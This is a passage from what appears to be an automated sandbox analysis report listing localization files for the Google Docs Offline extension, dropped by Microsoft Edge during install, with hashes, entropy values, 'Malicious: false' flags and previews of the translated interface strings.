Preview:	{.. "createnew": {.. "message": "........ .....".. },.. "explanationofflinedisabled": {.. "message": ".... ..................... ......... ............. Google ...... ....., Google ...... ............ ............... .... ..... ...... .... .... ............ ............. ........ ..... ... .....".. },.. "explanationofflineenabled": {.. "message": ".... ...................., .... .... .... ......... ........... ............ .... ........ .........."..

C:\Users\user\AppData\Local\Temp\scoped_dir7648_1781357332\CRX_INSTALL\_locales\ko\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1042
Entropy (8bit):	5.3945675025513955
Encrypted:	false
SSDEEP:	24:1HAWYsF4dqNfBQH49Hk8YfIhYzTJ+6WJBtl/u4s+6:ZF4wNfvm87mX4LF6
MD5:	F3E59EEEB007144EA26306C20E04C292
SHA1:	83E7BDFA1F18F4C7534208493C3FF6B1F2F57D90
SHA-256:	C52D9B955D229373725A6E713334BBB31EA72EFA9B5CF4FBD76A566417B12CAC
SHA-512:	7808CB5FF041B002CBD78171EC5A0B4DBA3E017E21F7E8039084C2790F395B839BEE04AD6C942EED47CCB53E90F6DE818A725D1450BF81BA2990154AFD3763AF
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".. ...".. },.. "explanationofflinedisabled": {.. "message": ".... ...... ... .. .. Google Docs. ..... Google Docs .... .... .... .... .... ..... . .... .... ..... ......".. },.. "explanationofflineenabled": {.. "message": ".... ...... ... .. ... ... ..... ... ... .. . .....".. },.. "extdesc": {.. "message": ".... .... ... .., ...... . ....... .., .., ......".. },.. "extname": {.. "message": "Google Docs ....".. },.. "learnmore": {.. "message": "... ....".. },.. "popuphelptext": {.. "message": "... .. ... .... ..... .... .... .....

C:\Users\user\AppData\Local\Temp\scoped_dir7648_1781357332\CRX_INSTALL\_locales\lo\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2535
Entropy (8bit):	3.8479764584971368
Encrypted:	false
SSDEEP:	48:YRcHe/4raK1EIlZt1wg62FIOg+xGaF8guI5EP9I2yC:+cs4raK1xlZtOgviOfGaF8RI5EP95b
MD5:	E20D6C27840B406555E2F5091B118FC5
SHA1:	0DCECC1A58CEB4936E255A64A2830956BFA6EC14
SHA-256:	89082FB05229826BC222F5D22C158235F025F0E6DF67FF135A18BD899E13BB8F
SHA-512:	AD53FC0B153005F47F9F4344DF6C4804049FAC94932D895FD02EEBE75222CFE77EEDD9CD3FDC4C88376D18C5972055B00190507AA896488499D64E884F84F093
Malicious:	false
Preview:	{"createnew":{"message":"\u0eaa\u0ec9\u0eb2\u0e87\u0ec3\u0edd\u0ec8"},"explanationofflinedisabled":{"message":"\u0e97\u0ec8\u0eb2\u0e99\u0ead\u0ead\u0e9a\u0ea5\u0eb2\u0e8d\u0ea2\u0eb9\u0ec8. \u0ec0\u0e9e\u0eb7\u0ec8\u0ead\u0ec3\u0e8a\u0ec9 Google Docs \u0ec2\u0e94\u0e8d\u0e9a\u0ecd\u0ec8\u0ec0\u0e8a\u0eb7\u0ec8\u0ead\u0ea1\u0e95\u0ecd\u0ec8\u0ead\u0eb4\u0e99\u0ec0\u0e95\u0eb5\u0ec0\u0e99\u0eb1\u0e94, \u0ec3\u0eab\u0ec9\u0ec4\u0e9b\u0e97\u0eb5\u0ec8\u0e81\u0eb2\u0e99\u0e95\u0eb1\u0ec9\u0e87\u0e84\u0ec8\u0eb2\u0ec3\u0e99\u0edc\u0ec9\u0eb2 Google Docs \u0ec1\u0ea5\u0ec9\u0ea7\u0ec0\u0e9b\u0eb5\u0e94\u0ec3\u0e8a\u0ec9\u0e81\u0eb2\u0e99\u0e8a\u0eb4\u0ec9\u0e87\u0ec1\u0e9a\u0e9a\u0ead\u0ead\u0e9a\u0ea5\u0eb2\u0e8d\u0ec3\u0e99\u0ec0\u0e97\u0eb7\u0ec8\u0ead\u0e95\u0ecd\u0ec8\u0ec4\u0e9b\u0e97\u0eb5\u0ec8\u0e97\u0ec8\u0eb2\u0e99\u0ec0\u0e8a\u0eb7\u0ec8\u0ead\u0ea1\u0e95\u0ecd\u0ec8\u0ead\u0eb4\u0e99\u0ec0\u0e95\u0eb5\u0ec0\u0e99\u0eb1\u0e94."},"explanationofflineenabled":{"message":"\u0e97\u0ec

C:\Users\user\AppData\Local\Temp\scoped_dir7648_1781357332\CRX_INSTALL\_locales\lt\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1028
Entropy (8bit):	4.797571191712988
Encrypted:	false
SSDEEP:	24:1HAivZZaJ3Rje394+k7IKgpAJjUpSkiQjuRBMd:fZZahBeu7IKgqeMg
MD5:	970544AB4622701FFDF66DC556847652
SHA1:	14BEE2B77EE74C5E38EBD1DB09E8D8104CF75317
SHA-256:	5DFCBD4DFEAEC3ABE973A78277D3BD02CD77AE635D5C8CD1F816446C61808F59
SHA-512:	CC12D00C10B970189E90D47390EEB142359A8D6F3A9174C2EF3AE0118F09C88AB9B689D9773028834839A7DFAF3AAC6747BC1DCB23794A9F067281E20B8DC6EA
Malicious:	false
Preview:	{.. "createnew": {.. "message": "SUKURTI NAUJ.".. },.. "explanationofflinedisabled": {.. "message": "Esate neprisijung.. Jei norite naudoti .Google. dokumentus be interneto ry.io, pagrindiniame .Google. dokument. puslapyje eikite . nustatym. skilt. ir .junkite sinchronizavim. neprisijungus, kai kit. kart. b.site prisijung. prie interneto.".. },.. "explanationofflineenabled": {.. "message": "Esate neprisijung., bet vis tiek galite redaguoti pasiekiamus failus arba sukurti nauj..".. },.. "extdesc": {.. "message": "Redaguokite, kurkite ir per.i.r.kite savo dokumentus, skai.iuokles ir pristatymus . visk. darykite be prieigos prie interneto.".. },.. "extname": {.. "message": ".Google. dokumentai neprisijungus".. },.. "learnmore": {.. "message": "Su.inoti daugiau".. },.. "popuphelptext": {.. "message": "Ra.ykite, redaguokite ir bendradarbiaukite bet kurioje vietoje naudodami interneto ry.. arba

C:\Users\user\AppData\Local\Temp\scoped_dir7648_1781357332\CRX_INSTALL\_locales\lv\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	994
Entropy (8bit):	4.700308832360794
Encrypted:	false
SSDEEP:	24:1HAaJ7a/uNpoB/Y4vPnswSPkDzLKFQHpp//BpPDB:7J7a/uzQ/Y4vvswhDzDr/LDB
MD5:	A568A58817375590007D1B8ABCAEBF82
SHA1:	B0F51FE6927BB4975FC6EDA7D8A631BF0C1AB597
SHA-256:	0621DE9161748F45D53052ED8A430962139D7F19074C7FFE7223ECB06B0B87DB
SHA-512:	FCFBADEC9F73975301AB404DB6B09D31457FAC7CCAD2FA5BE348E1CAD6800F87CB5B56DE50880C55BBADB3C40423351A6B5C2D03F6A327D898E35F517B1C628C
Malicious:	false
Preview:	{.. "createnew": {.. "message": "IZVEIDOT JAUNU".. },.. "explanationofflinedisabled": {.. "message": "J.s esat bezsaist.. Lai lietotu pakalpojumu Google dokumenti bez interneta savienojuma, n.kamaj. reiz., kad ir izveidots savienojums ar internetu, atveriet Google dokumentu s.kumlapas iestat.jumu izv.lni un iesl.dziet sinhroniz.ciju bezsaist..".. },.. "explanationofflineenabled": {.. "message": "J.s esat bezsaist., ta.u varat redi..t pieejamos failus un izveidot jaunus.".. },.. "extdesc": {.. "message": "Redi..jiet, veidojiet un skatiet savus dokumentus, izkl.jlapas un prezent.cijas, neizmantojot savienojumu ar internetu.".. },.. "extname": {.. "message": "Google dokumenti bezsaist.".. },.. "learnmore": {.. "message": "Uzziniet vair.k".. },.. "popuphelptext": {.. "message": "Rakstiet, redi..jiet un sadarbojieties ar interneta savienojumu vai bez t. neatkar.gi no t., kur atrodaties.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7648_1781357332\CRX_INSTALL\_locales\ml\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2091
Entropy (8bit):	4.358252286391144
Encrypted:	false
SSDEEP:	24:1HAnHdGc4LtGxVY6IuVzJkeNL5kP13a67wNcYP8j5PIaSTIjPU4ELFPCWJjMupV/:idGcyYPVtkAUl7wqziBsg9DbpN6XoN/
MD5:	4717EFE4651F94EFF6ACB6653E868D1A
SHA1:	B8A7703152767FBE1819808876D09D9CC1C44450
SHA-256:	22CA9415E294D9C3EC3384B9D08CDAF5164AF73B4E4C251559E09E529C843EA6
SHA-512:	487EAB4938F6BC47B1D77DD47A5E2A389B94E01D29849E38E96C95CABC7BD98679451F0E22D3FEA25C045558CD69FDDB6C4FEF7C581141F1C53C4AA17578D7F7
Malicious:	false
Preview:	{.. "createnew": {.. "message": "....... ............".. },.. "explanationofflinedisabled": {.. "message": "...... ........... ........... ............. ..... Google ....... ..........., Google ....... .......... ............. .... ...... ...... ... ............... .................... '.......... ................' .........".. },.. "explanationofflineenabled": {.. "message": "................., .......... ......... ....... ...... ..............

C:\Users\user\AppData\Local\Temp\scoped_dir7648_1781357332\CRX_INSTALL\_locales\mn\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2778
Entropy (8bit):	3.595196082412897
Encrypted:	false
SSDEEP:	48:Y943BFU1LQ4HwQLQ4LQhlmVQL3QUm6H6ZgFIcwn6Rs2ShpQ3IwjGLQSJ/PYoEQj8:I43BCymz8XNcfuQDXYN2sum
MD5:	83E7A14B7FC60D4C66BF313C8A2BEF0B
SHA1:	1CCF1D79CDED5D65439266DB58480089CC110B18
SHA-256:	613D8751F6CC9D3FA319F4B7EA8B2BD3BED37FD077482CA825929DD7C12A69A8
SHA-512:	3742E24FFC4B5283E6EE496813C1BDC6835630D006E8647D427C3DE8B8E7BF814201ADF9A27BFAB3ABD130B6FEC64EBB102AC0EB8DEDFE7B63D82D3E1233305D
Malicious:	false
Preview:	{"createnew":{"message":"\u0428\u0418\u041d\u0418\u0419\u0413 \u04ae\u04ae\u0421\u0413\u042d\u0425"},"explanationofflinedisabled":{"message":"\u0422\u0430 \u043e\u0444\u043b\u0430\u0439\u043d \u0431\u0430\u0439\u043d\u0430. Google \u0414\u043e\u043a\u044b\u0433 \u0438\u043d\u0442\u0435\u0440\u043d\u044d\u0442\u0433\u04af\u0439\u0433\u044d\u044d\u0440 \u0430\u0448\u0438\u0433\u043b\u0430\u0445\u044b\u043d \u0442\u0443\u043b\u0434 \u0434\u0430\u0440\u0430\u0430\u0433\u0438\u0439\u043d \u0443\u0434\u0430\u0430 \u0438\u043d\u0442\u0435\u0440\u043d\u044d\u0442\u044d\u0434 \u0445\u043e\u043b\u0431\u043e\u0433\u0434\u043e\u0445\u0434\u043e\u043e Google \u0414\u043e\u043a\u044b\u043d \u043d\u04af\u04af\u0440 \u0445\u0443\u0443\u0434\u0430\u0441\u043d\u0430\u0430\u0441 \u0442\u043e\u0445\u0438\u0440\u0433\u043e\u043e \u0434\u043e\u0442\u043e\u0440\u0445 \u043e\u0444\u043b\u0430\u0439\u043d \u0441\u0438\u043d\u043a\u0438\u0439\u0433 \u0438\u0434\u044d\u0432\u0445\u0436\u04af\u04af\u043b\u043d\u0

C:\Users\user\AppData\Local\Temp\scoped_dir7648_1781357332\CRX_INSTALL\_locales\mr\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1719
Entropy (8bit):	4.287702203591075
Encrypted:	false
SSDEEP:	48:65/5EKaDMw6pEf4I5+jSksOTJqQyrFO8C:65/5EKaAw6pEf4I5+vsOVqQyFO8C
MD5:	3B98C4ED8874A160C3789FEAD5553CFA
SHA1:	5550D0EC548335293D962AAA96B6443DD8ABB9F6
SHA-256:	ADEB082A9C754DFD5A9D47340A3DDCC19BF9C7EFA6E629A2F1796305F1C9A66F
SHA-512:	5139B6C6DF9459C7B5CDC08A98348891499408CD75B46519BA3AC29E99AAAFCC5911A1DEE6C3A57E3413DBD0FAE72D7CBC676027248DCE6364377982B5CE4151
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".... .... ...".. },.. "explanationofflinedisabled": {.. "message": "...... ...... ..... ......... ....... ....... ..... Google ....... ............, Google ....... .............. .......... .. ... ..... .... ...... ......... ...... ...... ...... .... .... ....".. },.. "explanationofflineenabled": {.. "message": "...... ...... ...., ..... ...... ...... ...... .... ....... ... ..... .... .... ... .....".. },.. "extdesc": {.. "message": "..... ..

C:\Users\user\AppData\Local\Temp\scoped_dir7648_1781357332\CRX_INSTALL\_locales\ms\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	936
Entropy (8bit):	4.457879437756106
Encrypted:	false
SSDEEP:	24:1HARXIqhmemNKsE27rhdfNLChtyo2JJ/YgTgin:iIqFC7lrDfNLCIBRzn
MD5:	7D273824B1E22426C033FF5D8D7162B7
SHA1:	EADBE9DBE5519BD60458B3551BDFC36A10049DD1
SHA-256:	2824CF97513DC3ECC261F378BFD595AE95A5997E9D1C63F5731A58B1F8CD54F9
SHA-512:	E5B611BBFAB24C9924D1D5E1774925433C65C322769E1F3B116254B1E9C69B6DF1BE7828141EEBBF7524DD179875D40C1D8F29C4FB86D663B8A365C6C60421A7
Malicious:	false
Preview:	{.. "createnew": {.. "message": "BUAT BAHARU".. },.. "explanationofflinedisabled": {.. "message": "Anda berada di luar talian. Untuk menggunakan Google Docs tanpa sambungan Internet, pergi ke tetapan di halaman utama Google Docs dan hidupkan penyegerakan luar talian apabila anda disambungkan ke Internet selepas ini.".. },.. "explanationofflineenabled": {.. "message": "Anda berada di luar talian, tetapi anda masih boleh mengedit fail yang tersedia atau buat fail baharu.".. },.. "extdesc": {.. "message": "Edit, buat dan lihat dokumen, hamparan dan pembentangan anda . kesemuanya tanpa akses Internet.".. },.. "extname": {.. "message": "Google Docs Luar Talian".. },.. "learnmore": {.. "message": "Ketahui Lebih Lanjut".. },.. "popuphelptext": {.. "message": "Tulis, edit dan bekerjasama di mana-mana sahaja anda berada, dengan atau tanpa sambungan Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7648_1781357332\CRX_INSTALL\_locales\my\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3830
Entropy (8bit):	3.5483353063347587
Encrypted:	false
SSDEEP:	48:Ya+Ivxy6ur1+j3P7Xgr5ELkpeCgygyOxONHO3pj6H57ODyOXOVp6:8Uspsj3P3ty2a66xl09
MD5:	342335A22F1886B8BC92008597326B24
SHA1:	2CB04F892E430DCD7705C02BF0A8619354515513
SHA-256:	243BEFBD6B67A21433DCC97DC1A728896D3A070DC20055EB04D644E1BB955FE7
SHA-512:	CD344D060E30242E5A4705547E807CE3CE2231EE983BB9A8AD22B3E7598A7EC87399094B04A80245AD51D039370F09D74FE54C0B0738583884A73F0C7E888AD8
Malicious:	false
Preview:	{"createnew":{"message":"\u1021\u101e\u1005\u103a \u1015\u103c\u102f\u101c\u102f\u1015\u103a\u101b\u1014\u103a"},"explanationofflinedisabled":{"message":"\u101e\u1004\u103a \u1021\u1031\u102c\u1037\u1016\u103a\u101c\u102d\u102f\u1004\u103a\u1038\u1016\u103c\u1005\u103a\u1014\u1031\u1015\u102b\u101e\u100a\u103a\u104b \u1021\u1004\u103a\u1010\u102c\u1014\u1000\u103a\u1001\u103b\u102d\u1010\u103a\u1006\u1000\u103a\u1019\u103e\u102f \u1019\u101b\u103e\u102d\u1018\u1032 Google Docs \u1000\u102d\u102f \u1021\u101e\u102f\u1036\u1038\u1015\u103c\u102f\u101b\u1014\u103a \u1014\u1031\u102c\u1000\u103a\u1010\u1005\u103a\u1000\u103c\u102d\u1019\u103a \u101e\u1004\u103a\u1021\u1004\u103a\u1010\u102c\u1014\u1000\u103a\u1001\u103b\u102d\u1010\u103a\u1006\u1000\u103a\u101e\u100a\u1037\u103a\u1021\u1001\u102b Google Docs \u1015\u1004\u103a\u1019\u1005\u102c\u1019\u103b\u1000\u103a\u1014\u103e\u102c\u101b\u103e\u102d \u1006\u1000\u103a\u1010\u1004\u103a\u1019\u103b\u102c\u1038\u101e\u102d\u102f\u1037\u1

C:\Users\user\AppData\Local\Temp\scoped_dir7648_1781357332\CRX_INSTALL\_locales\ne\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1898
Entropy (8bit):	4.187050294267571
Encrypted:	false
SSDEEP:	24:1HAmQ6ZSWfAx6fLMr48tE/cAbJtUZJScSIQoAfboFMiQ9pdvz48YgqG:TQ6W6MbkcAltUJxQdfbqQ9pp0gqG
MD5:	B1083DA5EC718D1F2F093BD3D1FB4F37
SHA1:	74B6F050D918448396642765DEF1AD5390AB5282
SHA-256:	E6ED0A023EF31705CCCBAF1E07F2B4B2279059296B5CA973D2070417BA16F790
SHA-512:	7102B90ABBE2C811E8EE2F1886A73B1298D4F3D5D05F0FFDB57CF78B9A49A25023A290B255BAA4895BB150B388BAFD9F8432650B8C70A1A9A75083FFFCD74F1A
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".... ....... .........".. },.. "explanationofflinedisabled": {.. "message": "..... ...... .......... .... ........ .... .... Google ........ ...... .... ..... ..... ... .......... ....... .... Google ........ .......... ..... .......... .. ...... ..... .... ..... ......... .. ..........".. },.. "explanationofflineenabled": {.. "message": "..... ...... ........., .. ..... ... ... ...... ....... ....... .. .... ....... ....

C:\Users\user\AppData\Local\Temp\scoped_dir7648_1781357332\CRX_INSTALL\_locales\nl\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	914
Entropy (8bit):	4.513485418448461
Encrypted:	false
SSDEEP:	12:1HASvgFARCBxNBv52/fXjOXl6W6ICBxeBvMzU1CSUJAO6SFAIVIbCBhZHdb1tvz+:1HABJx4X6QDwEzlm2uGvYzKU
MD5:	32DF72F14BE59A9BC9777113A8B21DE6
SHA1:	2A8D9B9A998453144307DD0B700A76E783062AD0
SHA-256:	F3FE1FFCB182183B76E1B46C4463168C746A38E461FD25CA91FF2A40846F1D61
SHA-512:	E0966F5CCA5A8A6D91C58D716E662E892D1C3441DAA5D632E5E843839BB989F620D8AC33ED3EDBAFE18D7306B40CD0C4639E5A4E04DA2C598331DACEC2112AAD
Malicious:	false
Preview:	{.. "createnew": {.. "message": "NIEUW MAKEN".. },.. "explanationofflinedisabled": {.. "message": "Je bent offline. Wil je Google Documenten zonder internetverbinding gebruiken, ga dan de volgende keer dat je verbinding met internet hebt naar 'Instellingen' op de homepage van Google Documenten en zet 'Offline synchronisatie' aan.".. },.. "explanationofflineenabled": {.. "message": "Je bent offline, maar je kunt nog wel beschikbare bestanden bewerken of nieuwe bestanden maken.".. },.. "extdesc": {.. "message": "Bewerk, maak en bekijk je documenten, spreadsheets en presentaties. Allemaal zonder internettoegang.".. },.. "extname": {.. "message": "Offline Documenten".. },.. "learnmore": {.. "message": "Meer informatie".. },.. "popuphelptext": {.. "message": "Overal schrijven, bewerken en samenwerken, met of zonder internetverbinding.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7648_1781357332\CRX_INSTALL\_locales\no\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	878
Entropy (8bit):	4.4541485835627475
Encrypted:	false
SSDEEP:	24:1HAqwwrJ6wky68uk+NILxRGJwBvDyrj9V:nwwQwky6W+NwswVyT
MD5:	A1744B0F53CCF889955B95108367F9C8
SHA1:	6A5A6771DFF13DCB4FD425ED839BA100B7123DE0
SHA-256:	21CEFF02B45A4BFD60D144879DFA9F427949A027DD49A3EB0E9E345BD0B7C9A8
SHA-512:	F55E43F14514EECB89F6727A0D3C234149609020A516B193542B5964D2536D192F40CC12D377E70C683C269A1BDCDE1C6A0E634AA84A164775CFFE776536A961
Malicious:	false
Preview:	{.. "createnew": {.. "message": "OPPRETT NYTT".. },.. "explanationofflinedisabled": {.. "message": "Du er uten nett. For . bruke Google Dokumenter uten internettilkobling, g. til innstillingene p. Google Dokumenter-nettsiden og sl. p. synkronisering uten nett neste gang du er koblet til Internett.".. },.. "explanationofflineenabled": {.. "message": "Du er uten nett, men du kan likevel endre tilgjengelige filer eller opprette nye.".. },.. "extdesc": {.. "message": "Rediger, opprett og se dokumentene, regnearkene og presentasjonene dine . uten nettilgang.".. },.. "extname": {.. "message": "Google Dokumenter uten nett".. },.. "learnmore": {.. "message": "Finn ut mer".. },.. "popuphelptext": {.. "message": "Skriv, rediger eller samarbeid uansett hvor du er, med eller uten internettilkobling.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7648_1781357332\CRX_INSTALL\_locales\pa\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2766
Entropy (8bit):	3.839730779948262
Encrypted:	false
SSDEEP:	48:YEH6/o0iZbNCbDMUcipdkNtQjsGKIhO9aBjj/nxt9o5nDAj3:p6wbZbEbvJ8jQkIhO9aBjb/90Ab
MD5:	97F769F51B83D35C260D1F8CFD7990AF
SHA1:	0D59A76564B0AEE31D0A074305905472F740CECA
SHA-256:	BBD37D41B7DE6F93948FA2437A7699D4C30A3C39E736179702F212CB36A3133C
SHA-512:	D91F5E2D22FC2D7F73C1F1C4AF79DB98FCFD1C7804069AE9B2348CBC729A6D2DFF7FB6F44D152B0BDABA6E0D05DFF54987E8472C081C4D39315CEC2CBC593816
Malicious:	false
Preview:	{"createnew":{"message":"\u0a28\u0a35\u0a3e\u0a02 \u0a2c\u0a23\u0a3e\u0a13"},"explanationofflinedisabled":{"message":"\u0a24\u0a41\u0a38\u0a40\u0a02 \u0a06\u0a2b\u0a3c\u0a32\u0a3e\u0a08\u0a28 \u0a39\u0a4b\u0964 \u0a07\u0a70\u0a1f\u0a30\u0a28\u0a48\u0a71\u0a1f \u0a15\u0a28\u0a48\u0a15\u0a36\u0a28 \u0a26\u0a47 \u0a2c\u0a3f\u0a28\u0a3e\u0a02 Google Docs \u0a28\u0a42\u0a70 \u0a35\u0a30\u0a24\u0a23 \u0a32\u0a08, \u0a05\u0a17\u0a32\u0a40 \u0a35\u0a3e\u0a30 \u0a1c\u0a26\u0a4b\u0a02 \u0a24\u0a41\u0a38\u0a40\u0a02 \u0a07\u0a70\u0a1f\u0a30\u0a28\u0a48\u0a71\u0a1f \u0a26\u0a47 \u0a28\u0a3e\u0a32 \u0a15\u0a28\u0a48\u0a15\u0a1f \u0a39\u0a4b\u0a35\u0a4b \u0a24\u0a3e\u0a02 Google Docs \u0a2e\u0a41\u0a71\u0a16 \u0a2a\u0a70\u0a28\u0a47 '\u0a24\u0a47 \u0a38\u0a48\u0a1f\u0a3f\u0a70\u0a17\u0a3e\u0a02 \u0a35\u0a3f\u0a71\u0a1a \u0a1c\u0a3e\u0a13 \u0a05\u0a24\u0a47 \u0a06\u0a2b\u0a3c\u0a32\u0a3e\u0a08\u0a28 \u0a38\u0a3f\u0a70\u0a15 \u0a28\u0a42\u0a70 \u0a1a\u0a3e\u0a32\u0a42 \u0a15\u0a30\u0a4b\u0964"},"expla

C:\Users\user\AppData\Local\Temp\scoped_dir7648_1781357332\CRX_INSTALL\_locales\pl\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	978
Entropy (8bit):	4.879137540019932
Encrypted:	false
SSDEEP:	24:1HApiJiRelvm3wi8QAYcbm24sK+tFJaSDD:FJMx3whxYcbNp
MD5:	B8D55E4E3B9619784AECA61BA15C9C0F
SHA1:	B4A9C9885FBEB78635957296FDDD12579FEFA033
SHA-256:	E00FF20437599A5C184CA0C79546CB6500171A95E5F24B9B5535E89A89D3EC3D
SHA-512:	266589116EEE223056391C65808255EDAE10EB6DC5C26655D96F8178A41E283B06360AB8E08AC3857D172023C4F616EF073D0BEA770A3B3DD3EE74F5FFB2296B
Malicious:	false
Preview:	{.. "createnew": {.. "message": "UTW.RZ NOWY".. },.. "explanationofflinedisabled": {.. "message": "Jeste. offline. Aby korzysta. z Dokument.w Google bez po..czenia internetowego, otw.rz ustawienia na stronie g..wnej Dokument.w Google i w..cz synchronizacj. offline nast.pnym razem, gdy b.dziesz mie. dost.p do internetu.".. },.. "explanationofflineenabled": {.. "message": "Jeste. offline, ale nadal mo.esz edytowa. dost.pne pliki i tworzy. nowe.".. },.. "extdesc": {.. "message": "Edytuj, tw.rz i wy.wietlaj swoje dokumenty, arkusze kalkulacyjne oraz prezentacje bez konieczno.ci ..czenia si. z internetem.".. },.. "extname": {.. "message": "Dokumenty Google offline".. },.. "learnmore": {.. "message": "Wi.cej informacji".. },.. "popuphelptext": {.. "message": "Pisz, edytuj i wsp..pracuj, gdziekolwiek jeste. . niezale.nie od tego, czy masz po..czenie z internetem.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7648_1781357332\CRX_INSTALL\_locales\pt_BR\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	907
Entropy (8bit):	4.599411354657937
Encrypted:	false
SSDEEP:	12:1HASvgU30CBxNd6GwXOK1styCJ02OK9+4KbCBxed6X4LBAt4rXgUCSUuYDHIIQka:1HAcXlyCJ5+Tsz4LY4rXSw/Q+ftkC
MD5:	608551F7026E6BA8C0CF85D9AC11F8E3
SHA1:	87B017B2D4DA17E322AF6384F82B57B807628617
SHA-256:	A73EEA087164620FA2260D3910D3FBE302ED85F454EDB1493A4F287D42FC882F
SHA-512:	82F52F8591DB3C0469CC16D7CBFDBF9116F6D5B5D2AD02A3D8FA39CE1378C64C0EA80AB8509519027F71A89EB8BBF38A8702D9AD26C8E6E0F499BF7DA18BF747
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CRIAR NOVO".. },.. "explanationofflinedisabled": {.. "message": "Voc. est. off-line. Para usar o Documentos Google sem conex.o com a Internet, na pr.xima vez que se conectar, acesse as configura..es na p.gina inicial do Documentos Google e ative a sincroniza..o off-line.".. },.. "explanationofflineenabled": {.. "message": "Voc. est. off-line, mas mesmo assim pode editar os arquivos dispon.veis ou criar novos arquivos.".. },.. "extdesc": {.. "message": "Edite, crie e veja seus documentos, planilhas e apresenta..es sem precisar de acesso . Internet.".. },.. "extname": {.. "message": "Documentos Google off-line".. },.. "learnmore": {.. "message": "Saiba mais".. },.. "popuphelptext": {.. "message": "Escreva, edite e colabore onde voc. estiver, com ou sem conex.o com a Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7648_1781357332\CRX_INSTALL\_locales\pt_PT\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	914
Entropy (8bit):	4.604761241355716
Encrypted:	false
SSDEEP:	24:1HAcXzw8M+N0STDIjxX+qxCjKw5BKriEQFMJXkETs:zXzw0pKXbxqKw5BKri3aNY
MD5:	0963F2F3641A62A78B02825F6FA3941C
SHA1:	7E6972BEAB3D18E49857079A24FB9336BC4D2D48
SHA-256:	E93B8E7FB86D2F7DFAE57416BB1FB6EE0EEA25629B972A5922940F0023C85F90
SHA-512:	22DD42D967124DA5A2209DD05FB6AD3F5D0D2687EA956A22BA1E31C56EC09DEB53F0711CD5B24D672405358502E9D1C502659BB36CED66CAF83923B021CA0286
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CRIAR NOVO".. },.. "explanationofflinedisabled": {.. "message": "Est. offline. Para utilizar o Google Docs sem uma liga..o . Internet, aceda .s defini..es na p.gina inicial do Google Docs e ative a sincroniza..o offline da pr.xima vez que estiver ligado . Internet.".. },.. "explanationofflineenabled": {.. "message": "Est. offline, mas continua a poder editar os ficheiros dispon.veis ou criar novos ficheiros.".. },.. "extdesc": {.. "message": "Edite, crie e veja os documentos, as folhas de c.lculo e as apresenta..es, tudo sem precisar de aceder . Internet.".. },.. "extname": {.. "message": "Google Docs offline".. },.. "learnmore": {.. "message": "Saber mais".. },.. "popuphelptext": {.. "message": "Escreva edite e colabore onde quer que esteja, com ou sem uma liga..o . Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7648_1781357332\CRX_INSTALL\_locales\ro\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	937
Entropy (8bit):	4.686555713975264
Encrypted:	false
SSDEEP:	24:1HA8dC6e6w+uFPHf2TFMMlecFpweWV4RE:pC6KvHf4plVweCx
MD5:	BED8332AB788098D276B448EC2B33351
SHA1:	6084124A2B32F386967DA980CBE79DD86742859E
SHA-256:	085787999D78FADFF9600C9DC5E3FF4FB4EB9BE06D6BB19DF2EEF8C284BE7B20
SHA-512:	22596584D10707CC1C8179ED3ABE46EF2C314CF9C3D0685921475944B8855AAB660590F8FA1CFDCE7976B4BB3BD9ABBBF053F61F1249A325FD0094E1C95692ED
Malicious:	false
